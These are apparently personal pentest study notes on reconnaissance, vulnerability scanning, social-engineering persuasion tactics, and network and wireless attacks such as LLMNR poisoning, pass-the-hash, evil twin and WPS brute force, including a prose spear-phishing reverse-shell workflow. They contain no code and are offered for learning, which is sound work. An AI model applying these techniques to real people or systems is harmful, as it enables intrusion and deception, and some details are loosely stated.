Ethical Hacking Notes

Introduction

1/ When attacking a network infrastructure while pentesting, these are the elements we attack:

- IPS devices
- Servers (AAA)
- Switches, routers...

2/ Here are some methodologies, frameworks and standards to check to help pentesting:

- MITRE ATT&CK : Collection of different matrices of tactics and techniques that adversaries use while preparing for an attack.
- OWASP WSTG : Web Security Testing Guide.
- NIST SP 800-115 : Provides organizations with guidelines on planning and conducting information security testing.
- OSSTMM : Provides a scientific methodology for security testing, emphasizing measurable results and operational security.
- PTES : Covers the high-level phases of web application security testing.
- ISSAF : A structured framework for penetration testing and security assessments, divided into phases like planning, assessment, and reporting.

3/ Under what tactic in the MITRE ATT&CK matrix would you find the information gathering stage of the Operation Dream Job procedure?
Answer : Reconnaissance

4/ Not all tools are legal, so when wanting to use any, check it's laws...

5/ To test safely, we use labs that we create, and configure aligned with our needs.

6/ Virtual Machines are considered labs btw... (So for example you can do two virtual machines, and simulate an attack from one to another)

7/ Must do a quick state recovery of the target, (Explanation: when we're attacking our customer for testing we might actually ruin his properties, so when testing in a safe lab for example we can do a feature or something like that to quickly cancel the damage caused)

Planning and scoping a penetration testing assessment

8/ To pentest a company, we need to build a strategie, We don't only detect vulnerabilities, we also check if the company is respecting security legal standards, or if they trespass some rules and then warn them...

9/ One of the most important phases (if not the most important) of any penetration testing engagement is the planning and preparation phase. During this phase, you clearly scope your engagement. If you do not scope correctly, you will definitely run into issues with your client (if you work as a consultant) or with your boss (if you are part of a corporate red team), and you might even encounter legal problems.

10/ The following are some key concepts you must address and understand in the planning and preparation phase:

- The target audience
- The rules of engagement
- The communication escalation path and communication channels
- The available resources and requirements
- The overall budget for the engagement
- Any specific disclaimers
- Any technical constraints
- The resources available to you as a penetration tester

11/ When you are hired as an penetration tester for a company, you need to verify and audit the security posture of the organization and to make sure the organization is compliant with specific regulations, you check these elements:

- PCI DSS : The Payment Card Industry Data Security Standard
- HIPAA : The original purpose of the Health Insurance Portability and Accountability Act (HIPAA) of 1996 was to make healthcare administrative processes simpler and more consistent. This included moving from paper to electronic records and transactions. The U.S. Department of Health and Human Services (HHS) was tasked with creating rules to protect individuals’ electronic health information while allowing proper access for healthcare providers and other authorized groups.
- FedRAMP : The U.S. federal government uses the Federal Risk and Authorization Management Program (FedRAMP) standard to authorize the use of cloud service offerings.
- GDPR (***General Data Protection Regulation***) : includes strict rules around the processing of data and privacy.

12/ There is always a contract when wanting to strike for pentesting for a company, it containes all legal information and stuff such as the method to get paid.

Information gathering and vulnerability scanning

13/ Reconnaissance : It's the information gathering about the target using tools and scanning, It is also the first step of any attack.

14/ Rappel :

- Attaque Passive : C'est lorsque l'attaquant ne fait rien, il accède juste à vos properties sans rien faire.
- Attaque Active : Il touche les properties.

15/ Check this out:

- Passive Reconnaissance = Attaque Passive : These attacks don't affect the target and are not detected by it.
  Some of its tools:
  - Domain enumeration
  - Packet inspection
  - Open-source intelligence (OSINT)
  - Recon-ng
  - Eavesdropping
- Active Reconnaissance = Attaque Active : These attacks affect the target, and are detectable.
  Some of its tools:
  - Host enumeration
  - Network enumeration
  - User enumeration
  - Group enumeration
  - Network share enumeration
  - Web page enumeration
  - Application enumeration
  - Service enumeration
  - Packet crafting

16/ In OSINT framework, we have WhatsMyName tool, in which you type a username, and it displays all the accounts in websites that have that username. (https://osintframework.com/)

17/ OSINT has another tool called SpiderFoot, which is a more enhanced version of WhatsMyName, you can put an IP adress of where to search for something.

18/ DNS lookups are way of reconnaissance to a company, in which we gather all of their servers IP addresses.

19/ We can use dnsrecon to search for a website IP addresses.

20/ There is also the command Dig

21/ Command whois, gives us detailed information about a website (technical and administrative contacts for the domain entered).

22/ The **- x** option is used for reverse lookups (Entering ip address to find the name). The AAAA option returns the IPv6 address for the domain. The -b option allows the source address of an attached interface to be specified for the request.

23/ SSL (Secure Sockets Layer) : It encrypts data during it's transmission in a network (Integrity).

24/ Every website has an digital certificate assigned to it. (It guarantees for clients that the website is owned by the company and also ensures integrity of data)

25/ Attackers can leverage certificate transparency to reveal additional information and enumerate subdomains.

26/ sslscan to see the certificats of a website

27/ When attackers use a company's security breach:
When a company experiences a **security breach**, sensitive information can be leaked or exposed — such as passwords, private documents, or customer data. This **harms customer trust**, affects business relationships, and can **tarnish the company's image**.
Hackers often **research their targets** before launching an attack. They use **Open Source Intelligence (OSINT)** techniques to find useful information. Here are some of the common methods:

- Password Dumps: (Tools : h8mail, WhatBreach, LeakLooker...)
  - If an organization has suffered a breach in the past, its **employee or customer passwords** might be available on the dark web or public leak sites.
  - **Attackers try these leaked credentials** on other systems in what's called **credential stuffing**.
  - People often reuse passwords, so even an old breach can be useful.
- File Metadata (Tools: ExifTool) :
  - Files (like Word, Excel, PDF) sometimes include hidden **metadata**, such as:

        - Author’s name
        - Company name
        - Usernames, software versions, internal paths
        - Attackers extract this data to learn **who works there**, **what systems are used**, and **how the environment is structured**.
- Strategic Search Engine Analysis / Enumeration :
    - Using **Google Hacking (aka Google Dorking)**, attackers craft advanced search queries to find:
        - Exposed files
        - Login pages
        - Error messages with internal info
        - Misconfigured services
- Website Archiving / Caching :
    - Tools like the **Wayback Machine** store old versions of websites.
    - Attackers review these versions to:
        - Discover **previous URLs**, internal links, or exposed admin panels
        - Spot changes in infrastructure or content
        - Find **removed pages** that may still be accessible in cached form
- Public Source Code Repositories :
    - If the company or its developers upload code to platforms like **GitHub**, attackers may:
        - Look for **API keys**, credentials, or config files left in the code
        - Study the structure of applications to find **vulnerabilities**
        - Identify employees for **phishing attacks**

28/ A **Google Dork** (also known as **Google hacking**) is a **search query** that uses **advanced search operators** in Google to find **sensitive or hidden information** that’s publicly accessible on the web — often unintentionally.
Google dorking helps people:

- **Find misconfigured web servers**
- **Access exposed files** (e.g., PDFs, Excel sheets)
- **Discover login pages**, error messages, or even **sensitive data like passwords**
- Perform **Open Source Intelligence (OSINT)** during ethical hacking or penetration testing

29/ Shodan Search: A **Shodan search** is a way to **look up internet-connected devices and systems** using the **Shodan search engine** — often called the "Google for hackers."
Shodan is a search engine that scans the internet and collects information about devices and services that are publicly accessible, such as:

- **Webcams**
- **Servers**
- **Routers**
- **Databases**
- **IoT devices** (like smart TVs, security systems)
- **Industrial control systems** (SCADA/ICS)

It shows what services a device is running, what software versions it uses, and whether it might be **vulnerable or misconfigured**.
(https://www.shodan.io/)

30/ Now for the active reconnaissance:
Here are some elements that are considered as targets in a company:

- **User Endpoints**:
  - Desktops, laptops, **mobile devices**, and **gaming consoles** used by employees.
- **Facilities-related Endpoints**:
  - **Surveillance cameras**
  - **Alarm system**
  - **Climate control** sensors & actuators
  - **Lighting control systems**
  - **VoIP systems**
- **Intermediary Devices**:
  - **Routers** and **Switches** connecting endpoints and networks.
- **Wireless Access Points**:
  - Devices that provide **Wi-Fi** access internally.
- **Firewalls**:
  - Protect against **external threats** and **unauthorized access**.
- **Servers**:
  - On-premises for:
    - **File storage**
    - **Database access**
    - **Email services**
- **Cloud Infrastructure**:
  - Uses **Amazon Web Services (AWS)**

31/ Active Reconnaissance & Enumeration:

- - **Enumeration** = Actively gathering more info about the target (e.g., hosts, services).

- **External Enumeration**:

```
  - One of the **first steps** in a penetration test.

  - Identifies **Internet-facing hosts** of the target.

  - Publicly accessible systems = **high-risk** (open to global attacks).
```

- **Service Discovery**:

```
  - Once hosts are found, check **which services** are exposed.

  - Ideally, servers should be **behind firewalls** with **minimal
exposure**.

  - Misconfigured or unexpected services may be **accidentally exposed**.
```

- **Port Scans**:

```
  - Actively scan target IPs to detect **open/listening services**.

  - Example: **Nmap SYN Scan** (aka **half-open scan**):

      - Sends **TCP SYN** packet to a port.

      - **SYN/ACK response** → port is **open**.

      - **RST response** → port is **closed**.

      - **No response** → port is marked **filtered** (possibly blocked by
firewall).
```

32/ When using nmap here are the explanations of the responses:

- **Open**: Indicates an active service (potential entry point for further investigation).
- **Closed**: The port is reachable but unused (no immediate risk, but could be probed further).
- **Filtered**: Suggests network filtering (firewall, ACLs, or other security measures).

Next Steps for Security:

1. **Open Ports**: Verify if the service is necessary, check for vulnerabilities, and ensure it’s patched.
2. **Closed Ports**: Monitor for unexpected changes (e.g., a closed port becoming open).
3. **Filtered Ports**: Investigate firewall rules to ensure they align with security policies.

33/ Nmap scan types : (You can search each one of them when are they used)

- TCP Connect Scan (**-sT**)
- UDP Scan (**-sU**)
- TCP FIN Scan (**-sF**)
- Host Discovery Scan (**-sn**)
- Timing Options (**-T 0**-**5**)

34/ Types of enumeration:

- **Host Enumeration**:
  - Identifying **active devices (hosts)** on a network using tools like **ping sweeps** or **ARP scans**.
  - Helps build a **map of the target network**.
- **User Enumeration**:
  - Discovering **usernames** on a system (e.g., via login pages, SMB, or LDAP).
  - Used for **brute force attacks** or **phishing**.
- **Group Enumeration**:
  - Identifying **user groups** (e.g., "Administrators", "Developers").
  - Reveals **privilege levels** and potential **high-value targets**.
- **Network Share Enumeration**:
  - Finding **shared folders/files** over SMB or NFS.
  - Exposes **sensitive files** or **internal documentation**.
- **Additional SMB Enumeration Examples**:
  - Listing **shares**, **users**, **domains**, **OS versions**, etc., via **SMB protocol**.
  - Tools: `enum4linux`, `smbclient`, `rpcclient`.
- **Web Page Enumeration / Web Application Enumeration**:
  - Analyzing web apps for **hidden pages**, **inputs**, and **functionality**.
  - Look for: admin panels, outdated plugins, input fields, etc.
- **Service Enumeration**:
  - Identifying services (FTP, SSH, HTTP, etc.) running on **open ports**.
  - Helps determine **attack surface** and **software versions**.

- **Exploring Enumeration via Packet Crafting**:
  - Sending **custom packets** to provoke specific responses.
  - Tools like `hping3`, `Scapy` used to **analyze behavior** of systems/protocols.

35/ For the integrity part :

- **Packet Inspection & Eavesdropping**:
  - Tools: **Wireshark**, **tshark**, **tcpdump**
  - Used for **packet capture** and **traffic analysis**
  - Supports **passive reconnaissance** (observing without direct interaction)
  - Requires:
    - **Physical access** to the target network **OR**
    - **Wireless access** (preferred for stealth)
  - Wireless networks often **extend beyond building walls**, enabling remote sniffing
  - Goal: **Capture data**, identify protocols in use, and find potential **credentials or vulnerabilities**
  - Related to **Module 5: Exploiting Wired and Wireless Networks**

36/ And now, for the art of vulnerabilities scanning,
Vulnerability Scanning:

- Begins **after identifying hosts and services**.
- Tools **probe services** for **known weaknesses**.
- **Main technique**:
  - Detect **software version**
  - Match with **known vulnerabilities** (e.g., CVEs)
- Example:
  - Apache server running outdated version → flagged as **remotely exploitable**
- ⚠️ **False Positives**:
  - Major drawback of **automated scanners**
  - Can lead to **wasted time** and **conflict** with devs/admins if not **validated**
  - Always **verify findings** before reporting

37/ How a Typical Automated Vulnerability Scanner Works?
Step 1. In the discovery phase, the scanner uses a tool such as Nmap to perform host and port enumeration. Using the results of the host and port enumeration, the scanner begins to probe open ports for more information.

Step 2. When the scanner has enough information about the open port to determine what software and version are running on that port, it records that information in a database for

further analysis. The scanner can use various methods to make this determination, including using banner information.

Step 3. The scanner tries to determine if the software that is listening on the target system is susceptible to any known vulnerabilities. It does this by correlating a database of known vulnerabilities against the information recorded in the database about the target services.

Step 4. The scanner produces a report on what it suspects could be vulnerable. Keep in mind that these results are often false positives and need to be validated. At the very least, this type of tool gives you an idea of where to look for vulnerabilities that might be exploitable.

38/ Types of vulnerabilities scans:

- **Unauthenticated Scans**:
  - Scan performed **without valid credentials**.
  - Simulates an **outsider's perspective** (e.g., attacker with no access).
  - Detects **externally visible vulnerabilities**.
- **Authenticated Scans**:
  - Scan performed **with valid credentials** (e.g., admin or user access).
  - Offers **deeper insight** into system configurations and **internal vulnerabilities**.
  - More accurate, with **fewer false positives**.
- **Discovery Scans**:
  - Focused on **identifying active hosts, open ports, and services**.
  - Does **not go deep** into vulnerability details.
  - Often used as a **first step** in reconnaissance.
- **Full Scans**:
  - Comprehensive scan that includes **discovery + vulnerability detection**.
  - Targets all systems, services, and known vulnerability types.
  - **Takes more time**, but gives a **complete picture**.
- **Stealth Scans**:
  - Designed to **evade detection** (e.g., IDS/IPS systems).
  - Uses **low-profile techniques** like slow scanning, fragmented packets.
  - Useful in **red team or covert operations**.
- **Compliance Scans**:
  - Validates whether systems comply with **industry standards** or **security policies** (e.g., PCI-DSS, HIPAA).
  - Focuses on **required controls**, not just vulnerabilities.
  - Often used for **audit and reporting purposes**.

39/ netstat command is used for this btw

40/ Challenges to Consider When Running a Vulnerability Scan:

- Considering the best time to run scan
- Determining what protocols are in use
- Network Topology
- Bandwidth Limitations
- Query Throttling
- Fragile Systems/Nontraditional Assets

41/ How to deal with a vulnerability?
a/ Validating Vulnerabilities & Prioritizing Findings

- **Goal**: Identify **exploitable weaknesses** in target systems.
- **Validation Methods**:
  - First step after scanning = **verify the vulnerability**.
  - Best method = **actual exploitation** (proves it's real).
  - Tools:
    - **Metasploit Framework** (search for matching modules).
    - Custom scripts or other exploit databases (e.g., **Exploit DB**, **GitHub**).
  - ✅ If Metasploit has a module → **High Severity**.

b/ Prioritizing Vulnerability Findings

- Ask the following questions:
  - ❗ **Severity**: How dangerous is the vulnerability (e.g., CVSS score)?
  - 📍 **Scope**: How many systems are affected?
  - 🔍 **Detection Method**: Was it found via **automated tool** or **manual testing**?
  - 💼 **Asset Value**: Is the system **critical** to operations?
  - 🎯 **Attack Vector**: Is the attack **applicable** to the environment?
  - 🛠️ **Mitigation**: Is a **patch** or **workaround** available?
    c/ **Prioritization Guidelines**:

1. **Start with:**
   - High-severity, **easily exploitable** vulnerabilities.
   - Especially those on **critical systems**.
2. **Next:**
   - Any vulnerability on **business-critical devices** (regardless of severity).
   - Consider **exploit chains** (e.g., low-severity flaws leading to high impact).
3. **Then:**
   - Widespread vulnerabilities that affect **many systems** = higher impact.

4. **If live exploit detected**:
    - 🚨 **Immediately report** to system owner.

Social Engineering : When we attack the weakest link : Humans.

Here we'll study these elements :

42/ Pretexting for an approach and impersonation:

Social engineering is the art of manipulating people into revealing confidential information or performing actions that compromise security. This often involves subtle psychological techniques like influence, interrogation, and impersonation — all designed to bypass technical controls by exploiting human trust and behavior.

a/ Influence, Interrogation, and Impersonation

- **Influence:** The attacker builds rapport or trust with the victim, often by pretending to share common goals or authority, making the victim more likely to cooperate.
- **Interrogation:** The attacker uses skillful questioning, mixing **open-ended questions** (which encourage longer, descriptive answers) and **closed-ended questions** (which require short, specific responses) to gather insights about the victim's values, roles, viewpoints, and goals.
- **Observation:** Alongside verbal cues, attackers carefully watch the victim's **body language** and **speech patterns** to pick up on hesitation, confidence, or other emotional signals that can reveal further information or vulnerabilities.

b/ Pretexting (Impersonation)

- **Definition:** Pretexting involves fabricating a believable story or identity (the "pretext") to trick victims into divulging information or granting access.
- **Common Approaches:** The attacker impersonates a trusted role, such as:
    - **Delivery personnel:** "I have a package for your department."
    - **IT support technician:** "We're running urgent system updates."
    - **Manager or executive:** "I need urgent access to this file."
- The goal is to lower suspicion and encourage compliance without raising alarms.

c/ Technical Impersonation Attacks Related to Pretexting

1. **Pharming:**
    - A victim is tricked into visiting a **malicious website disguised as a legitimate one** to steal credentials or install malware.

- Methods include:
    - Altering the **host file** on the victim's computer (which maps domain names to IP addresses).
    - **DNS poisoning**, where DNS servers are compromised to redirect requests.
    - Exploiting vulnerabilities in DNS infrastructure.

2. **Malvertising:**
    - Attackers inject **malicious advertisements** into legitimate advertising networks.
    - When victims click or even just load these ads on trusted websites, they may be redirected to malware-hosting sites or have malware silently installed.

43/ Social Engineering attacks:

Social engineering attacks exploit the natural human tendency to trust, comply, or be curious to bypass security controls. Instead of attacking technological defenses directly, these attacks target **human vulnerabilities** to gain unauthorized access to sensitive information, credentials, or systems.

a/ Common Types of Social Engineering Attacks

1. **Email Phishing**
    - Attackers send **fraudulent emails** that appear to be from trusted sources, like banks, colleagues, or popular services.
    - These emails often contain malicious links, attachments, or requests for confidential info.
2. **Spear Phishing**
    - A more **targeted form of phishing** aimed at specific individuals or organizations.
    - The attacker customizes the email with personal details to increase credibility.
3. **Whaling**
    - A type of spear phishing targeting **high-profile business executives or "big fish"**.
    - The emails often deal with sensitive topics like financial transactions or legal matters to prompt urgent action.
4. **Vishing (Voice Phishing)**
    - Social engineering conducted **over the phone**.
    - Attackers impersonate trusted entities (banks, IT support) to trick victims into giving up passwords, account numbers, or installing malware.
5. **SMS Phishing (Smishing)**
    - Similar to email phishing but uses **text messages** to lure victims into clicking malicious links or sharing sensitive data.
6. **USB Drop Key Attacks**

- Attackers leave **infected USB drives in strategic locations** like parking lots or lobbies, hoping victims will pick them up and plug them into company computers.
- Once plugged in, malware or spyware can automatically execute.

7. **Watering Hole Attacks**
   - Attackers identify websites frequently visited by a target group or organization.
   - They **inject malicious code** into these trusted sites, so when victims visit, they get redirected to attacker-controlled servers or infected with malware.

b/ How Organizations Can Protect Against Social Engineering Attacks

- **Develop Clear Security Policies:**
  Define rules around email handling, verification of requests, device usage, and incident reporting.
- **Keep Security Software Updated:**
  Regularly patch systems and update antivirus, antimalware, and email filtering tools to catch known threats.
- **Scan Websites for Malware:**
  Use web security tools to monitor and block malicious content on sites accessed by employees.
- **User Education and Awareness Training:**
  Train employees to recognize phishing attempts, suspicious behavior, and the importance of verifying requests through official channels.
- **Implement Technical Controls:**
  Use multifactor authentication (MFA), email authentication protocols (SPF, DKIM, DMARC), and network segmentation to reduce risks.

44/ Physical attacks :

Physical attacks target the **physical security controls and human factors** to gain unauthorized access to buildings, devices, or sensitive information. These attacks exploit weaknesses in facility security, personnel behavior, or physical device protection.

a/ Common Types of Physical Attacks

1. **Tailgating and Piggybacking**
   - **Definition:** Unauthorized individuals follow closely behind authorized personnel to enter secure areas without proper authentication.
   - **Difference:**
     - *Tailgating* happens when the authorized person is unaware.
     - *Piggybacking* involves the authorized person knowingly allowing access.
   - **Prevention:**

    - Access control vestibules (mantraps) requiring individual authentication.
    - Use of multifactor authentication systems.
    - Security awareness to prevent holding doors open for unknown people.
2. **Dumpster Diving**
    - **Definition:** Attackers rummage through trash or recycling bins to find sensitive information like printed documents, notes, or discarded media.
    - **Risk:** Leaked credentials, internal policies, or personal data can be exploited.
    - **Prevention:**
        - Use shredders or secure document disposal services.
        - Implement strict data retention and destruction policies.
3. **Shoulder Surfing**
    - **Definition:** Observing someone's private information by looking over their shoulder or using tools like cameras, binoculars, or telescopes.
    - **Targets:** Passwords, PINs, or confidential screens.
    - **Prevention:**
        - Train employees to be vigilant of surroundings.
        - Use privacy screens or filters on monitors.
        - Position workstations away from public view.
4. **Badge Cloning**
    - **Definition:** Attackers use specialized tools or social engineering to **copy or imitate access badges** to gain unauthorized entry.
    - **Methods:**
        - RFID/NFC skimming devices to read badge data.
        - Creating duplicate badges or spoofing badge signals.
    - **Prevention:**
        - Use encrypted, multi-factor badges.
        - Regularly audit and deactivate lost or stolen badges.
        - Monitor access logs for suspicious activity.

45/ Social engineering tools:

Social engineering tools help attackers automate, enhance, or simplify the process of tricking victims into divulging information or performing actions. These tools range from phishing frameworks to caller ID spoofers.

a/ The Social-Engineer Toolkit (SET)

- **Developer:** David Kennedy

- **Purpose:** A powerful open-source framework designed specifically for social engineering attacks.
- **Key Features:**
  - Pre-installed in popular penetration testing distros like **Kali Linux** and **Parrot Security OS**.
  - Integrates with other tools like **Metasploit** for payload delivery.
  - Supports many attack vectors: spear phishing, credential harvesting, payload creation, and more.
- **Typical Workflow for Spear Phishing with SET:**
  1. Launch the toolkit.
  2. Select an attack vector (e.g., spear phishing).
  3. Create a file format payload (e.g., a PDF embedding a malicious EXE).
  4. Set up a **reverse TCP shell** to get remote access when victim opens the payload.
  5. Craft and send the phishing email to the target.
  6. Set up a listener to catch the reverse shell and control the victim's system.

b/ Browser Exploitation Framework (BeEF)

- **Purpose:** Exploits web browser vulnerabilities, especially **Cross-Site Scripting (XSS)**, to hook browsers and perform client-side attacks.
- **How it works:**
  - Starts a web server (default port 3000).
  - When a victim visits a compromised or malicious website, their browser is "hooked" and controlled via BeEF's web console.
  - The attacker can perform social engineering-like attacks such as:
    - Sending fake browser notifications or alerts.
    - Redirecting users to malicious sites.
    - Capturing keystrokes or webcam images.
- **Use case:** Great for manipulating web users once a browser vulnerability is found.

c/ Call Spoofing Tools

- **Purpose:** Change the caller ID info displayed to the victim to impersonate trusted contacts or institutions.
- **Examples:**
  - **SpoofApp**
  - **SpoofCard:** Also includes features like changing the caller's voice, recording calls, adding background noise, and sending calls to voicemail.

    - **Asterisk:** A VoIP management system that can be configured to impersonate caller IDs, manage calls, and perform automated social engineering voice attacks.
- **Use cases:** Phishing over the phone (vishing), impersonating trusted figures, or bypassing caller ID-based security.

46/ Methods of influence

Social engineers rely heavily on psychological principles to influence and manipulate their targets. These methods exploit natural human tendencies and vulnerabilities to increase the likelihood of compliance.

a/ Authority

- **Description:** People tend to comply with figures or individuals who appear confident, knowledgeable, or in a position of power.
- **How it's used:**
    - Attackers **project confidence** and act like authoritative figures (e.g., IT staff, executives, law enforcement).
    - Victims may obey requests without questioning because they perceive the attacker as having legitimate control.

b/ Scarcity and Urgency

- **Description:** People respond strongly when they believe an opportunity or resource is limited or time-sensitive.
- **How it's used:**
    - Social engineers create a **sense of urgency** (e.g., "Your account will be suspended if you don't act now!").
    - Scarcity (limited availability) pressures victims to make quick decisions, bypassing rational thinking.

c/ Social Proof

- **Description:** When uncertain, people look to others' behavior as a guide for their own actions.
- **How it's used:**
    - Attackers exploit situations where multiple people are involved, encouraging compliance by showing that "everyone else is doing it."
    - Examples include fake testimonials, staged user behavior, or telling victims others have already complied.

d/ Likeness

- **Description:** People are more likely to be influenced by those they like or identify with.
- **How it's used:**
  - Social engineers **build rapport** by finding common interests, using friendly tones, or mimicking victim behaviors.
  - Being likable lowers defenses and makes victims more willing to share information or help.

e/ Fear

- **Description:** Fear can cause people to react quickly, often sacrificing caution.
- **How it's used:**
  - Attackers use threats or alarming scenarios (e.g., data breach, legal trouble) to push victims to comply to avoid negative consequences.
  - The victim's desire to avoid harm can override suspicion or due diligence.

Exploiting Wired and wireless Networks

47/ Exploiting Network-Based vulnerabilities

1. NetBIOS Name Service & LLMNR Vulnerabilities

- **Protocols Involved**:
  - NetBIOS (used for LAN communication)
  - LLMNR (Windows-based DNS resolution in absence of a DNS server)
- **Vulnerability**:
  Attackers **poison name resolution** by pretending to be the valid responder, intercepting credentials (like NTLMv2 hashes).
- **Tools Used**:
  - **Responder** (Kali Linux)
  - **NBNSpoof**, **Metasploit**
  - **Pupy** (remote access trojan for control after compromise)
- **Impact**:
  Stealing hashes, leading to lateral movement and privilege escalation.

💣 2. SMB Exploits

- **Vulnerabilities**:
  SMB is known for flaws like **EternalBlue** (SMBv1 flaw leaked by Shadow Brokers), used in **WannaCry**, **Nyetya** ransomware.
- **Tools**:
  - **Metasploit Framework**: Set up RHOST, LHOST, run exploit → gain Meterpreter shell.
  - **Enum4linux**, **Nmap SMB NSE scripts** for enumeration.
- **Exploitation Goal**:
  Remote code execution, lateral movement, data exfiltration.

🌐 3. DNS Cache Poisoning

- **Attack**:
  Injecting bogus entries into a DNS cache so users are **redirected to attacker-controlled sites**.
- **Flow**:
  1. Attacker poisons DNS resolver.
  2. Victim asks DNS for a domain.
  3. DNS sends back **attacker's IP**.
  4. Victim's HTTP request goes to fake site.
- **Use Cases**:
  Credential harvesting, malware delivery, phishing.

📡 4. SNMP Exploits

- **Protocol**:
  SNMP (v2c and v3) is used for **network device management**.
- **Vulnerabilities**:
  - Weak or default community strings.
  - Misconfigured SNMP exposing sensitive info.
- **Tools**:
  - **Nmap** with SNMP NSE scripts
  - **snmp-check** for SNMP walks
  - **Snmpenum**
- **Impact**:
  Unauthorized access to router/switch config, credentials, network mapping.

✉️ 5. SMTP Exploits

- **Vulnerabilities**:
  - Open SMTP relays used for spam/phishing.
  - Use of commands like **VRFY**, **EXPN** to enumerate users.
- **Tools**:
  - **Nmap smtp-open-relay NSE script**
  - **smtp-user-enum**
- **Mitigations**:
  - Disable `VRFY`, `EXPN`.
  - Configure SMTP authentication.
  - Use firewalls to restrict SMTP abuse.

📂 6. FTP Exploits

- **Issues**:
  - FTP is **unencrypted**, exposing credentials and data.
  - **Weak encryption ciphers** in FTPS/SFTP (e.g., Blowfish, DES).
  - **Anonymous access** often enabled.
- **Mitigations**:
  - Enforce **FTPS/SFTP with strong ciphers (e.g., AES)**.
  - Disable anonymous login.
  - Require MFA and secure hash functions (SHA-2).
- **Best Practices**:
  - Update software, isolate DB servers, enforce session timeouts.

🧠 7. Pass-the-Hash Attacks

- **Technique**:
  Attackers use **captured NTLM hashes** to authenticate without knowing the password.
- **Target**:
  Windows SAM database.

- **Impact**:
  Lateral movement and privilege escalation within Windows networks.

🏛️ 8. Kerberos & LDAP-Based Attacks

- **Kerberoasting**:
  - Extracts service account hashes from Kerberos tickets (TGS) for offline cracking.
- **Golden/Silver Ticket Attacks**:
  - Golden: Forge TGTs using KRBTGT hash.
  - Silver: Forge service tickets (TGS).
- **Vulnerability**:
  Weak passwords and poor ticket restrictions.

🔁 9. On-Path Attacks (MITM)

- **Types**:
  - **ARP Spoofing** (redirecting LAN traffic)
  - **MAC Spoofing**
  - **Spanning Tree (STP) abuse**
- **Mitigation Techniques**:
  - Use **802.1X**, **Root Guard**, limit MAC learning.
  - Use **ACLs**, disable CDP on untrusted ports.
  - Isolate VLANs and secure switches.

🔽 10. Downgrade Attacks

- **Goal**:
  Force a system to use **weak or outdated encryption**, making it easier to break.
- **Example**:
  POODLE attack against SSL 3.0 / legacy TLS.
- **Prevention**:
  - Disable backward compatibility.
  - Remove support for old protocols.

🚨 11. Route Manipulation Attacks

- **BGP Hijacking**:
  - An attacker **falsely advertises routes** via compromised BGP routers.
  - Can redirect or blackhole traffic.
- **Detection**:
  - Monitor routing anomalies.
  - Implement BGP RPKI (Resource Public Key Infrastructure).

🛑 12. DoS & DDoS Attacks

- **Types**:
  - **Direct**: SYN floods, HTTP floods.
  - **Reflected**: Spoofed source → third-party → victim.
  - **Amplification**: e.g., DNS amplification, where small requests create huge responses.
- **Mitigations**:
  - Rate-limiting, firewalls, CDN protection, use of cloud DDoS mitigation.

🔒 13. Network Access Control (NAC) Bypass

- **Technique**:
  Spoof the **MAC address** of an authorized device to bypass NAC checks.
- **Defense**:
  Use device certificates and behavioral checks (not just MAC-based).

🏯 14. VLAN Hopping

- **Methods**:
  - **Switch Spoofing**: Attacker mimics trunking protocol to access VLANs.
  - **Double Tagging**: Second (hidden) VLAN tag is preserved, giving access to another VLAN.
- **Mitigations**:

- Disable trunking on access ports.
- Use VLAN ACLs.
- Tag native VLANs differently on all ports.

🧬 15. DHCP Starvation and Rogue DHCP

- **DHCP Starvation**:
  - Flood DHCP server with fake requests, exhausting IP pool.
- **Rogue DHCP**:
  - After starvation, attacker runs their own DHCP server to **issue malicious configurations** (e.g., attacker-controlled DNS).
- **Defense**:
  - Enable DHCP snooping.
  - Limit MAC addresses per port.
  - Use port security features.

48/ Exploiting Wireless Vulnerabilities

1. Rogue Access Points, Evil Twin, and Disassociation Attacks

- **Rogue Access Point (AP):**
  A malicious AP installed within a network (physically or virtually) without authorization. It may be used to bypass security policies or act as a backdoor.
- **Evil Twin Attack:**
  A spoofed AP mimicking a legitimate one. Victims unknowingly connect and transmit credentials or sensitive data to the attacker.
- **Disassociation Attack:**
  Sends forged deauthentication/disassociation packets to forcibly disconnect clients from the network, prompting them to reconnect—often to an evil twin.
- **Tools:**
  - `airbase-ng`, `wifiphisher`, `mdk3`, `airgeddon`
- **Mitigation:**
  - WPA2/WPA3 with strong PSKs
  - AP spoof detection (e.g., WIDS/WIPS systems)
  - 802.11w for management frame protection

📡 2. Preferred Network List (PNL) Attacks

- **Attack:**
  Devices constantly probe for known networks. Attackers **listen** to these probes and respond with fake beacons, impersonating the network in the device's PNL.
- **Impact:**
  Auto-connection to fake networks → **MITM**, credential theft, malware injection.
- **Tools:**
  - `Karma`, `wifiphisher`, `airbase-ng`
- **Mitigation:**
  - Disable auto-connect to open networks
  - Use VPN on untrusted networks
  - WPA2-Enterprise with certificate pinning

📶 3. Wireless Signal Jamming & Interference

- **Attack:**
  Broadcasting constant interference or noise on the same frequency to disrupt communication (DoS). Common in 2.4 GHz due to its popularity.
- **Tools:**
  - `mdk3`, `wifijammer`
- **Mitigation:**
  - Channel hopping, directional antennas
  - Monitor for RF interference
  - Switch to 5 GHz or 6 GHz (Wi-Fi 6E)

🚗 4. War Driving & War Flying

- **War Driving:**
  Driving around with scanning tools (e.g., `Kismet`, `WiGLE`) to map wireless networks.
- **War Flying:**
  Same concept, but using drones or aircraft.
- **Purpose:**
  Reconnaissance to identify vulnerable networks (e.g., open Wi-Fi, weak encryption).
- **Defense:**

- Use strong encryption
- Disable SSID broadcast
- Regularly rotate keys

🐦 5. Initialization Vector (IV) & Handshake Attacks

- **IV Attacks (WEP):**
  Exploit weak key reuse and RC4 flaws by capturing enough packets to crack WEP keys.
- **WPA/WPA2 Attacks:**
  - **Four-way handshake capture**
  - **Brute-force/dictionary attack** on PSK
- **Tools:**
  - `aircrack-ng`, `cowpatty`, `hashcat`
- **WPA3 Improvements:**
  - Uses **Simultaneous Authentication of Equals (SAE)**
  - Still vulnerable to **side-channel**, **downgrade**, and **DoS** attacks.

🔌 6. WPS PIN Brute-Forcing

- **Attack:**
  Brute-forcing the 8-digit PIN used for simple device pairing in WPS. Only 11,000 attempts needed due to design flaws.
- **Tool:**
  - `Reaver`, `Bully`
- **Defense:**
  - Disable WPS entirely
  - Use WPA2/WPA3 with complex passphrases

🎯 7. KARMA Attacks

- **Meaning:**
  KARMA = "KARMA Attacks Radio Machines Automatically"

- **Attack Type:**
  Rogue AP pretends to be any SSID a client is probing for, silently capturing traffic and credentials.
- **Tool:**
  - `KARMA` (built into older `backtrack`, can be emulated in `airbase-ng`)
- **Defense:**
  - Avoid open networks
  - Use MAC filtering cautiously (can be spoofed)
  - Use certificate-based authentication

